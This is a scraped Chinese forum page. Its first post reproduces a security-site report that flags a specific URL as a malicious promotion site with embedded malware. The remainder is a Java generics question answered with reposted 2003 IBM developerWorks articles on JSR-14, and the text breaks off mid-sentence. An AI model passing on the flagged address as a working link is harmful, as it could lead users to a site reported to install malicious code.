这是什么网站  [url=http://360.qihoo.com/3394615.html?kw=%BE%D9%B1%A8%3Awww.851733.cn%2Fhtm%2Fgoldip.htm%3F045%CA%C7%B6%F1%D2%E2%CD%F8%D5%BE%A3%A1#submit_title]立即举报该网站>>[/url]网站详细信息
URL:http://www.851733.cn/htm/goldip.htm?045名称:http://www.851733.cn
类型:恶意推广网站描述:网页中嵌有恶意程序
[url=http://360.qihoo.com/3394615.html?kw=%BE%D9%B1%A8%3Awww.851733.cn%2Fhtm%2Fgoldip.htm%3F045%CA%C7%B6%F1%D2%E2%CD%F8%D5%BE%A3%A1#submit_title]我有话要说[/url]  更多>>相关知识
·如何利用360安全卫士修复被恶意篡改的I...·浏览器恶意推广的解决办法
·钓鱼网站及其延伸的识别 网上银行使用需...·钓鱼网站三种常见形式

更多>>与851733有关的百科

该百科不存在 点击创建>>


更多>>热帖推荐
·技巧:一招让你winXP右下角显示星期几
·经验:安全高速 装完XP系统必做六件事
·技巧;教你把漂亮的QQ鼠标变成自己
·经验:三个小命令检查电脑是否被安装木马
·追MM高招 1分钟教你把情书藏在她的照片里

(上面为错误报告的内容连接为http://www.851733.cn/htm/goldip.htm?045 )


UnEscape 解密网址:

http://tool.chinaz.com/Trans/Escape.asp
由于该对话框无法移动带站内请大家见谅

[ 本帖最后由 grjboy30 于 2007-11-22 14:39 编辑 ]

TOP

求教关于Class类的几个问题

public <E> E method(Class<E> clazz) throws Exception{...}

请问以上方法声明中的"<E>","E","Class<E>"都是什么意思?

还有如果我这样定义
Class<?> clazzSub = ***;
Class<T> clazzSub = ***;

这里的"Class<?>"和"Class<T>"都是什么意思?

望高手解答下,谢谢





Java1.5开始支持Java泛型,读一下IBM developerWorks的这篇文章,对了解整个故事很有好处,文章不算长,分四部分,写得生动而深入浅出,值得推荐。


诊断 Java 代码: 轻松掌握 Java 泛型Java Tiger 版本和 JSR-14 原型编译器中的泛型指南
级别: 初级
Eric E. Allen ([email=eallen@cs.rice.edu?subject=轻松掌握 Java 泛型&cc=eallen@cs.rice.edu]eallen@cs.rice.edu[/email]), 博士研究生, Rice 大学 Java 编程语言团队

2003 年 5 月 14 日
本月的 诊断 Java 代码介绍泛型类型(generic type)和支持它们的特性,计划在 2003 年末发布的 Tiger,也就是 Java V1.5 中打算包含这些泛型和特性。Eric Allen 提供了代码样本,这些样本通过重点描述诸如基本类型的限制、受限泛型和多态方法之类的 Tiger 特性来说明泛型类型的优缺点(即将发表的专栏文章将讨论其它特性,比如 Tiger 中泛型类型的特定表现以及可能扩展为 Tiger 之外的泛型类型)。请通过单击文章顶部或底部的 讨论进入 论坛,与作者和其他读者分享您对本文的心得体会。
J2SE 1.5 - 代号为 Tiger - 计划在 2003 年年底发布。我一直都热衷于尽可能多地收集有关即将推出的新技术的预告信息,因此我将撰写一系列的文章,讨论可从 V1.5 中获得的新的和经过重组的特性,本文是第一篇。我特别想谈谈泛型类型并重点讲述在 Tiger 中为了支持它们而进行的更改和调整。
在许多方面,Tiger 肯定是迄今为止在 Java 编程方面(包括对源语言语法的重大扩展)所取得的最大进步。Tiger 中计划进行的最显著的变化是添加泛型类型,正如在 JSR-14 原型编译器中所预先展示的那样(您可以立即免费下载该编译器;请参阅 参考资料)。
让我们从介绍泛型类型是什么以及添加了什么特性来支持它们开始吧。
数据类型转换和错误
为理解泛型类型为何如此有用,我们要将注意力转向 Java 语言中最容易引发错误的因素之一 - 需要不断地将表达式向下类型转换(downcast)为比其静态类型更为具体的数据类型(请参阅 参考资料中的“The Double Descent bug pattern”,以了解进行数据类型转换时,可能会碰到的麻烦的某些方面)。
程序中的每个向下类型转换对于 ClassCastException 而言都是潜在的危险,应当尽量避免它们。但是在 Java 语言中它们通常是无法避免的,即便在设计优良的程序中也是如此。
在 Java 语言中进行向下类型转换最常见的原因在于,经常以专用的方式来使用类,这限制了方法调用所返回的参数可能的运行时类型。例如,假定往 Hashtable 中添加元素并从中检索元素。那么在给定的程序中,被用作键的元素类型和存储在散列表中的值类型,将不能是任意对象。通常,所有的键都是某一特定类型的实例。同样地,存储的值将共同具有比 Object 更具体的公共类型。
但是在目前现有的 Java 语言版本中,不可能将散列表的特定键和元素声明为比 Object 更具体的类型。在散列表上执行插入和检索操作的类型特征符告诉我们只能插入和删除任意对象。例如, putget 操作的说明如下所示:

清单 1. 插入/检索类型说明表明只能是任意对象
class Hashtable {  Object put(Object key, Object value) {...}  Object get(Object key) {...}  ...}


因此,当我们从类 Hashtable 的实例检索元素时,比如,即使我们知道在 Hashtable 中只放了 String ,而类型系统也只知道所检索的值是 Object 类型。在对检索到的值进行任何特定于 String 的操作之前,必须将它强制转换为 String ,即使是将检索到的元素添加到同一代码块中,也是如此!

清单 2. 将检索到的值强制转换成 String
import java.util.Hashtable;class Test {  public static void main(String[] args) {    Hashtable h = new Hashtable();    h.put(new Integer(0), "value");    String s = (String)h.get(new Integer(0));    System.out.println(s);  }}


请注意 main 方法主体部分的第三行中需要进行的数据类型转换。因为 Java 类型系统相当薄弱,因此代码会因象上面那样的数据类型转换而漏洞百出。这些数据类型转换不仅使 Java 代码变得更加拖沓冗长,而且它们还降低了静态类型检查的价值(因为每个数据类型转换都是一个选择忽略静态类型检查的伪指令)。我们该如何扩展该类型系统,从而不必回避它呢?




用泛型类型来解决问题!
要消除如上所述的数据类型转换,有一种普遍的方法,就是用 泛型类型来增大 Java 类型系统。可以将泛型类型看作是类型“函数”;它们通过类型变量进行参数化,这些类型变量可以根据上下文用各种类型参数进行 实例化
例如,与简单地定义类 Hashtable 不同,我们可以定义泛型类 Hashtable<Key, Value> ,其中 KeyValue 是类型参数。除了类名后跟着尖括号括起来的一系列类型参数声明之外,在 Tiger 中定义这样的泛型类的语法和用于定义普通类的语法很相似。例如,可以按照如下所示的那样定义自己的泛型 Hashtable 类:

清单 3. 定义泛型 Hashtable 类
class Hashtable<Key, Value> { ... }


然后可以引用这些类型参数,就像我们在类定义主体内引用普通类型那样,如下所示:

清单 4. 像引用普通类型那样引用类型参数
class Hashtable<Key, Value> {  ...  Value put(Key k, Value v) {...}  Value get(Key k) {...}}

类型参数的作用域就是相应类定义的主体部分(除了静态成员之外)(在下一篇文章中,我们将讨论为何 Tiger 实现中有这样的“怪习”,即必须对静态成员进行此项限制。请留意!)。
创建一个新的 Hashtable 实例时,必须传递类型参数以指定 KeyValue 的类型。传递类型参数的方式取决于我们打算如何使用 Hashtable 。在上面的示例中,我们真正想要做的是创建 Hashtable 实例,它只将 Integer 映射为 String 。可以用新的 Hashtable 类来完成这件事:

清单 5. 创建将 Integer 映射为 String 的实例
import java.util.Hashtable;class Test {  public static void main(String[] args) {    Hashtable<Integer, String> h = new Hashtable<Integer, String>();    h.put(new Integer(0), "value");    ...  }}


现在不再需要数据类型转换了。请注意用来实例化泛型类 Hashtable 的语法。就像泛型类的类型参数用尖括号括起来那样,泛型类型应用程序的参数也是用尖括号括起来的。

清单 6. 除去不必要的数据类型转换
...String s = h.get("key");System.out.println(s);


当然,程序员若只是为了能使用泛型类型而必须重新定义所有的标准实用程序类(比如 HashtableList )的话,则可能会是一项浩大的工程。幸好,Tiger 为用户提供了所有 Java 集合类的泛型版本,因此我们不必自己动手来重新定义它们了。此外,这些类能与旧代码和新的泛型代码一起无缝工作(下个月,我们会说明如何做到这一点)。




Tiger 的基本类型限制
Tiger 中类型变量的限制之一就是,它们必须用引用类型进行实例化 - 基本类型不起作用。因此,在上面这个示例中,无法完成创建从 int 映射到 StringHashtable
这很遗憾,因为这意味着只要您想把基本类型用作泛型类型的参数,您就必须把它们组装为对象。另一方面,当前的这种情况是最糟的;您不能将 int 作为键传递给 Hashtable ,因为所有的键都必须是 Object 类型。
我们真正想看到的是,基本类型可以自动进行包装(boxing)和解包装(unboxing),类似于用 C# 所进行的操作(或者比后者更好)。遗憾的是,Tiger 不打算包括基本类型的自动包装(但是人们可以一直期待 Java 1.6 中出现该功能!)。




受限泛型
有时我们想限制可能出现的泛型类的类型实例化。在上面这个示例中,类 Hashtable 的类型参数可以用我们想用的任何类型参数进行实例化,但是对于其它某些类,我们或许想将可能的类型参数集限定为给定类型 范围内的子类型。
例如,我们可能想定义泛型 ScrollPane 类,它引用普通的带有滚动条功能的 Pane 。被包含的 Pane 的运行时类型通常会是类 Pane 的子类型,但是静态类型就只是 Pane
有时我们想用 getter 检索被包含的 Pane ,但是希望 getter 的返回类型尽可能具体些。我们可能想将类型参数 MyPane 添加到 ScrollPane 中,该类型参数可以用 Pane 的任何子类进行实例化。然后可以用这种形式的子句: extends Bound 来说明 MyPane 的声明,从而来设定 MyPane 的范围:

清单 7. 用 extends 子句来说明 MyPane 声明
class ScrollPane<MyPane extends Pane> { ... }


当然,我们可以完全不使用显式的范围,只要能确保没有用不适当的类型来实例化类型参数。
为什么要自找麻烦在类型参数上设定范围呢?这里有两个原因。首先,范围使我们增加了静态类型检查功能。有了静态类型检查,就能保证泛型类型的每次实例化都符合所设定的范围。
其次,因为我们知道类型参数的每次实例化都是这个范围之内的子类,所以可以放心地调用类型参数实例出现在这个范围之内的任何方法。如果没有对参数设定显式的范围,那么缺省情况下范围是 Object ,这意味着我们不能调用范围实例在 Object 中未曾出现的任何方法。




多态方法
除了用类型参数对类进行参数化之外,用类型参数对方法进行参数化往往也同样很有用。泛型 Java 编程用语中,用类型进行参数化的方法被称为 多态方法(Polymorphic method)
多态方法之所以有用,是因为有时候,在一些我们想执行的操作中,参数与返回值之间的类型相关性原本就是泛型的,但是这个泛型性质不依赖于任何类级的类型信息,而且对于各个方法调用都不相同。
例如,假定想将 factory 方法添加到 List 类中。这个静态方法只带一个参数,也将是 List 唯一的元素(直到添加了其它元素)。因为我们希望 List 成为其所包含的元素类型的泛型,所以希望静态 factory 方法带有类型变量 T 这一参数并返回 List<T> 的实例。
但是我们确实希望该类型变量 T 能在方法级别上进行声明,因为它会随每次单独的方法调用而发生改变(而且,正如我在下一篇文章中将讨论的那样,Tiger 设计的“怪习”规定静态成员不在类级类型参数的范畴之内)。Tiger 让我们通过将类型参数作为方法声明的前缀,从而在单独的方法级别上声明类型参数。例如,可以按照如下所示的那样为 factory 方法 make 添加前缀:

清单 8. 将类型参数作为前缀添加到方法声明
class Utilities {   <T extends Object> public static List<T> make(T first) {     return new List<T>(first);   }}


除了多态方法中所增加的灵活性之外,Tiger 中还增加了一个优点。Tiger 使用类型推断机制,根据参数类型来自动推断出多态方法的类型。这可以大大减少方法调用的繁琐和复杂性。例如,如果想调用 make 方法来构造包含 new Integer(0)List<Integer> 新实例,那么只需编写:

清单 9. 强制 make 构造新实例
Utilities.make(Integer(0))


然后会自动地从方法参数中推断出类型参数的实例化。




回页首


结束语
正如我们所见到的那样,在 Java 语言中添加泛型类型肯定会大大增强我们使用静态类型系统的能力。学习如何使用泛型类型相当简单,但是同样也需要避免一些缺陷。在接下来的文章中,我们将讨论如何充分使用将出现在 Tiger 中的泛型类型的特定表现,以及一些缺陷。我们还将研究对泛型 Java 类型工具的扩展,我们期盼这些工具可以出现在仍处于设计阶段的 Java 平台之中。


参考资料
  • 您可以参阅本文在 developerWorks 全球站点上的 英文原文.
  • 请参与有关本文的 论坛(您也可以单击文章顶部或底部的 讨论来访问该论坛)。
  • 通过下载 JSR-14 原型编译器(您必须是 Java Developer Connection 的注册成员)来进一步学习 Java 编程中的泛型。它包括了用扩展语言编写的原型编译器的源代码、包含了用于运行和自举编译器的类文件的 JAR 文件,以及包含了集合类存根的 JAR 文件。
  • Eric Allen 写了一本有关错误模式主题的新书: Bug Patterns in Java (Apress,2002),该书提出了一种诊断和调试计算机程序的方法论,这种方法论侧重于错误模式、极端编程方法和生成功能强大的、可测的且可扩展的软件的方法。
  • 请参阅“ Double Descent 错误模式”( developerWorks,2001 年 4 月),以了解在进行数据类型转换时,可能会碰到的麻烦的某些方面。
  • IntelliJ 的 IDEA 开发环境是值得一试的“好点子”,它包括了 J2EE 高速网络应用程序开发功能部件、一个功能强大的代码检查工具,以及一个用于第三方插件支持的开放式 API。
  • 并且别忘了尝试一下用于 J2SE 和 J2EE 开发的高性能代码分析引擎 - 来自 OmniCore 的 CodeGuide。它早已通过 JSR-14 原型编译器为 Java 代码中的泛型类型提供了 IDE 支持。
  • Martin Fowler 的 网站包含了许多有关有效重构的有用信息。
  • 研究“ 设计“可测试的”应用程序”( developerWorks,2001 年 9 月),以了解牢记测试来构建代码设计基础的七项原则。
  • 诊断 Java 代码专栏文章摘要 中,可以查阅 Eric Allen 专栏的 developerWorks 资源库 - 从错误模式到可测性再到设计策略。
  • 通过阅读 Java 社区过程(Java Community Process)的建议书: JSR-14来了解有关将泛型类型添加到 Java 代码中的讨论。
  • Keith Turner 在“ 编译时使用 Generic Java 捕获更多的错误”( developerWorks,2001 年 3 月)中提出了关于本主题的另一种观点。
  • 来自 IBM 研究部门(IBM Research)的论文“ Automatic Code Generation from Design Patterns”(PDF)描述了使设计模式实现自动化的工具的体系结构和实现。
  • Diagnosing Java code系列文章中的下面这两篇文章可以帮助您充实有关泛型类型和 Java 类型系统的知识:“ “杀手组合”― mixin、Jam 和单元测试”(2002 年 12 月)和“ 拥护静态类型的理由”(2002 年 6 月)。
  • developerWorksJava 技术专区 上查找其它大量的 Java 技术参考资料。


关于作者

Eric 是 DrJava 项目(为初学者设计的开放源码 Java IDE)的项目经理和创建人之一;他还是 Rice 大学用于 NextGen 编程语言的实验性编译器的主要开发人员,NextGen 编程语言是 Java 语言添加了一些实验性功能的扩展。Eric 为在线杂志 JavaWorld主持几个 Java 论坛。除了这些活动之外,Eric 还为 Rice 大学计算机科学系的本科生讲授软件工程这门课。可以通过 [email=eallen@cs.rice.edu?cc=eallen@cs.rice.edu]eallen@cs.rice.edu[/email]与 Eric 联系。

(没回答完继续中!~)

[ 本帖最后由 grjboy30 于 2007-11-22 14:44 编辑 ]

TOP

诊断 Java 代码: 轻松掌握 Java 泛型类型,第 2 部分JSR-14 原型编译器中泛型类型的一些限制
级别: 初级
Eric E. Allen ([email=eallen@cs.rice.edu?subject=轻松掌握 Java 泛型类型,第 2 部分&cc=eallen@cs.rice.edu]eallen@cs.rice.edu[/email]), 博士研究生, Java 编程语言小组,莱斯大学

2003 年 5 月 21 日
这个月,Eric Allen 继续讨论 JSR-14 和 Tiger 中的泛型类型(generic type)。他概括了在这些 Java 扩展中强制实施的几个限制,并说明这些扩展语言的编译器所使用的实现策略如何使这些限制必然存在。请在与本文一起提供的 论坛中与作者和其他读者分享您对本文的心得。(您也可以单击本文顶部或底部的“讨论”来访问论坛。)
J2SE 1.5 ― 代号为“Tiger” ― 计划在 2003 年年底发布,它将包括泛型类型(如在 JSR-14 原型编译器中预先展示的那样,现在可下载获得)。在 第 1 部分中,我们讨论了泛型类型的基础知识,以及为什么它们是对 Java 语言的一个重要且迫切需要的补充。我们还说明了为 Tiger 制定的泛型类型的实现怎么会包含数个“缺陷”,这些缺陷限制了可以使用泛型类型的上下文。
为了帮助新程序员有效地使用泛型类型,我将详细说明到底泛型类型的哪些用法在 Tiger 和 JSR-14 中是被禁止的,并将说明为什么这些限制是 JSR-14(理所当然还有 Tiger)为了在 JVM 上兼容地实现泛型类型所使用的实现策略的必然结果。
泛型类型的限制
让我们先查阅一下 Tiger 和 JSR-14 中泛型类型的使用限制:
  • 不应在静态成员中引用封闭类型参数。
  • 不能用基本类型实例化泛型类型参数。
  • 不能在数据类型转换或 instanceof 操作中使用“外露”类型参数。
  • 不能在 new 操作中使用“外露”类型参数。
  • 不能在类定义的 implementsextends 子句中使用“外露”类型参数。
为什么会有这些限制呢?这要归因于 Tiger 和 JSR-14 为在 JVM 上实现泛型类型所使用的机制。由于 JVM 根本不支持泛型类型,所以这些编译器“耍了个花招”,使得似乎存在对泛型类型的支持 ― 它们用泛型类型信息检查所有的代码,但随即“擦除”所有的泛型类型并生成只包含普通类型的类文件。
例如,将象 List<T> 这样的泛型类型擦除得只剩下 List 。“外露”类型参数 ― 单独出现而不是位于某个类型中的类型参数(如类 List<T> 中的类型参数 T )― 被简单地擦除成它们的上界(就 T 而言,其上界就是 Object )。
这一技术的功能极其强大;我们可以使几乎所有泛型类型的精度得到增强,但又与 JVM 保持兼容。事实上,我们甚至可以交替地使用非泛型的旧类(比如 List )和其对应的泛型类( List<T> );两者在运行时看起来是一样的。
遗憾的是,正如以上的限制所示,获得这一功能是有代价的。以这种方式进行擦除在类型系统中引入了缺陷,这些缺陷限制我们使用泛型类型的安全性。
为了帮助说明每种限制,我们查阅会出现这些限制的示例。在本文中,我们将讨论前三个限制。与后两个限制有关的问题过于复杂,因而需要更深入的研究,留待下一篇文章讨论。
静态成员中的封闭类型参数
编译器完全禁止在静态方法和静态内部类中引用封闭类型参数。所以,举例来说,以下代码在 Tiger 中就是非法的:

清单 1. 在静态上下文中非法引用封闭类型参数
class C<T> {  static void m() {    T t;  }  static class D {    C<T> t;  }}

当编译这一代码时,会生成两个错误:
  • 在静态方法 m 中非法引用 T 的错误
  • 在静态类 D 中非法引用 T 的错误
当定义静态字段时,情况变得更加复杂。在 JSR-14 和 Tiger 中,在泛型类的所有实例中共享该类中的静态字段。现在,在 JSR-14 编译器 1.0 和 1.2 中,如果您在静态字段声明中引用类型参数,编译器不会报错,但它本应该这么做。字段被共享这一事实很容易在运行时导致奇怪的错误,如在不包含数据类型转换的代码中出现 ClassCastException
例如,以下程序将在这两个版本的 JSR-14 下通过编译而没有任何警告:

清单 2. 在静态字段中对封闭类型参数的有问题的引用
class C<T> {  static T member;  C(T t) { member = t; }  T getMember() { return member; }  public static void main(String[] args) {    C<String> c = new C<String>("test");    System.out.println(c.getMember().toString());    new C<Integer>(new Integer(1));    System.out.println(c.getMember().toString());  }}

请注意,每次分配类 C 的实例时,都要重新设置静态字段 member 。而且,它被设置成的对象类型取决于 C 的实例的类型!在所提供的 main 方法中,第一个实例 cC<String> 类型。而第二个是 C<Integer> 类型。每当从 c 访问 member 这一共享静态字段时,总是假定 member 的类型是 String 。但是,在分配了类型为 C<Integer> 的第二个实例之后, member 的类型是 Integer
运行 Cmain 方法的结果可能会让您吃惊 ― 它将发出一个 ClassCastException !源代码根本没有包含任何数据类型转换,怎么会这样呢?事实证明编译器确实在编译阶段将数据类型转换插入到代码中,这样做是为了解决类型擦除会降低某些表达式的类型的精度这一事实。这些数据类型转换 被期望能够成功,但在本例中却没有成功。
应该认为 JSR-14 1.0 和 1.2 的这一特殊“功能”是个错误。它破坏了类型系统的健全性,或者可以说,它破坏了类型系统应该和程序员达成的“基本契约”。象对静态方法和类所做的那样,只要防止程序员在静态字段中引用泛型类型,情况就会好很多。
请注意允许这种有潜在“爆炸性”的代码存在所带来的问题并不是程序员 有意在自己的代码中覆盖类型系统。问题是程序员可能会无意中编写这样的代码(比如,由于“复制和粘贴”操作,错误地在字段声明中包括静态修饰符)。
类型检查器应该能帮助程序员从这些类型的错误中恢复,但对于静态字段而言,类型系统实际上会使程序员更迷惑。当未使用数据类型转换的代码中显示的唯一错误就是 ClassCastException 时,我们应如何诊断这样的错误?对于不清楚 Tiger 中泛型类型所用的实现方案而又恰好假定类型系统合理运行的程序员而言,情况更糟。因为在这样的情况下,类型系统不是合理地运行。
幸运的是,JSR-14 的最新版本(1.3)宣布在静态字段中使用类型参数是不合法的。因此,我们有理由期待在 Tiger 的静态字段中使用类型参数也是不合法的。
泛型类型参数和基本类型
和我们刚才讨论的不同,这一限制没有同样的潜在缺陷,但它会使您的代码非常冗长。例如,在 java.util.Hashtable 的泛型版本中,有两种类型参数:用于 Key 类型的和用于 Value 类型的。因此,如果我们想要一个将 String 映射到 StringHashtable ,我们可以用表达式 new Hashtable<String, String>() 指定新的实例。但是,如果我们想要一个将 String 映射到 intHashtable ,我们只能创建 Hashtable<String, Integer> 的实例,并将所有的 int 值包装在 Integer 中。
同样,Tiger 在这方面当然也是由所用的实现方案得到的。既然类型参数被擦除为它们的界限,而界限不能是基本类型,所以一旦类型被擦除,则对基本类型的实例化会完全没有意义。
数据类型转换或 instanceof 操作中的“外露”参数
回想一下,对于“外露”类型参数,我们是指在词汇上单独出现的类型参数,而不是更大类型的语法子组件。例如, C<T> 不是“外露”类型参数,但(在 C 主体中) T 是。
如果在代码中对“外露”类型参数进行数据类型转换或 instanceof 操作,则编译器将发出名为“unchecked”的警告。例如,以下代码将生成警告: Warning: unchecked cast to type T

清单 3. 带 unchecked 操作的泛型代码
import java.util.Hashtable;interface Registry {  public void register(Object o);}class C<T> implements Registry {  int counter = 0;  Hashtable<Integer, T> values;  public C() {    values = new Hashtable<Integer, T>();  }  public void register(Object o) {    values.put(new Integer(counter), (T)o);    counter++;  }}

您应该严肃地对待这些警告,因为它们说明您的代码在运行时会表现得非常奇怪。事实上,它们会使得诊断代码变得极为困难。在以前的代码中,我们认为如果对实例 C<JFrame> 调用 register("test") ,会发出 ClassCastException 。但并非如此;计算将继续,就仿佛数据类型转换成功了一样,然后在进一步进行计算时发出错误,或者更糟:用遭破坏的数据完成计算,但不向外发出任何错误信号。同样,对“外露”类型参数的 instanceof 检查将在编译时产生“unchecked”警告,而且检查将不会如期在运行时进行。




双刃剑
那么,这里到底发生了什么?因为 Tiger 依靠类型擦除,所以数据类型转换和 instanceof 测试中的外露类型参数被“擦除”为它们的上界(在前面的例子中,那将是类型 Object )。因此,对类型参数的数据类型转换将变成对参数上界的转换。
同样, instanceof 将检查操作数是否是参数界限的 instanceof 。那根本不是我们打算做的,如果是的话,我们完全可以显式地强制转换为界限。因此,通常应避免对类型参数使用数据类型转换和 instanceof 检查。
然而,有时为了编译代码,您必须依靠对类型参数的数据类型转换。如果是这样的情况,只要记住,在代码的那一部分中,类型检查不保险 ― 要靠自己。
尽管泛型类型是制作健壮代码的强大武器,但我们已经演示了误用它们会使代码不再健壮而且极难诊断和修正。下次,我们将介绍 Tiger 中泛型类型的后两个限制,并讨论试图在泛型 Java 类型系统中包括它们时必定会出现的一些问题。

TOP

诊断 Java 代码: 轻松掌握 Java 泛型,第 3 部分克服 JSR-14 原型编译器中泛型的限制
级别: 初级
Eric E. Allen ([email=eallen@cs.rice.edu?subject=轻松掌握 Java 泛型,第 3 部分&cc=eallen@cs.rice.edu]eallen@cs.rice.edu[/email]), 博士研究生, Java 编程语言团队,Rice 大学

2003 年 6 月 09 日
Java 开发人员和研究员 Eric Allen 继续讨论 JSR-14 和 Tiger 中的泛型类型,并着眼于在泛型类型中添加 naked 类型参数的 new 操作支持这一分支。
这一系列主要讨论在 Java 编程中添加泛型类型,本文是其中的一篇,将研究还未讨论过的有关使用泛型的两个限制之一,即添加对裸类型参数的 new 操作的支持(如类 C<T> 中的 new T() )。
正如我 上个月所提到的那样,Tiger 和 JSR-14 通过使用“类型消除(type erasure)”对 Java 语言实现泛型类型。使用类型消除(type erasure),泛型类型仅用于类型检查;然后,用它们的上界替换它们。由此定义可知:消除将与如 new T() 之类的表达式冲突。
如果假定 T 的界限是 Object ,那么这一表达式将被消除为 new Object() ,并且不管对 T 如何实例化( StringListURLClassLoader 等等), new 操作将产生一个新的 Object 实例。显然,这不是我们想要的。
要添加对表达式(如 new T() )的支持,以及添加对我们上次讨论过的其它与类型相关的操作(如数据类型转换和 instanceof 表达式)的支持,我们必须采用某种实现策略而不是类型消除(如对于每个泛型实例化,使用独立的类)。但对于 new 操作,需要处理其它问题。
尤其是,为了实现对 Java 语言添加这种支持,必须对许多基本的语言设计问题作出决定。
有效的构造函数调用
首先,为了对类型参数构造合法的 new 表达式(如 new T() ),必须确保我们调用的构造函数对于 T 的每个实例化都有效。但由于我们只知道 T 是其已声明界限的子类型,所以我们不知道 T 的某一实例化将有什么构造函数。要解决这一问题,可以用下述三种方法之一:
  • 要求类型参数的所有实例化都包括不带参数的(zeroary)构造函数。
  • 只要泛型类的运行时实例化没有包括所需的构造函数,就抛出异常。
  • 修改语言的语法以包括更详尽的类型参数界限。
第 1 种方法:需要不带参数的构造函数
只要求类型参数的所有实例化都包括不带参数的构造函数。该解决方案的优点是非常简单。使用这种方法也有先例。
处理类似问题的现有 Java 技术(象 JavaBean 技术)就是通过要求一个不带参数的构造函数来解决问题的。然而,该方法的一个主要缺点是:对于许多类,没有合理的不带参数的构造函数。
例如,表示非空容器的任何类在构造函数中必然使用表示其元素的参数。包括不带参数的构造函数将迫使我们先创建实例,然后再进行本来可以在构造函数调用中完成的初始化。但该实践会导致问题的产生(您可能想要阅读 2002 年 4 月发表的本专栏文章“The Run-on Initializer bug pattern”,以获取详细信息;请参阅 参考资料。)
第 2 种方法:当缺少所需构造函数时,抛出异常
处理该问题的另一种方法是:只要泛型类的运行时实例化没有包括所需构造函数,就抛出异常。请注意:必须在运行时抛出异常。因为 Java 语言的递增式编译模型,所以我们无法静态地确定所有将在运行时发生的泛型类的实例化。例如,假设我们有如下一组泛型类:

清单 1.“裸”类型参数的 New 操作
class C<T> {  T makeT() {    return new T();  }}class D<S> {  C<S> makeC() {    return new C<S>();  }}

现在,在类 D<S> 中,构造了类 C<S> 的实例。然后,在类 C 的主体中,将调用 S 的不带参数的构造函数。这种不带参数的构造函数存在吗?答案当然取决于 S 的实例化!
比方说,如果 S 被实例化为 St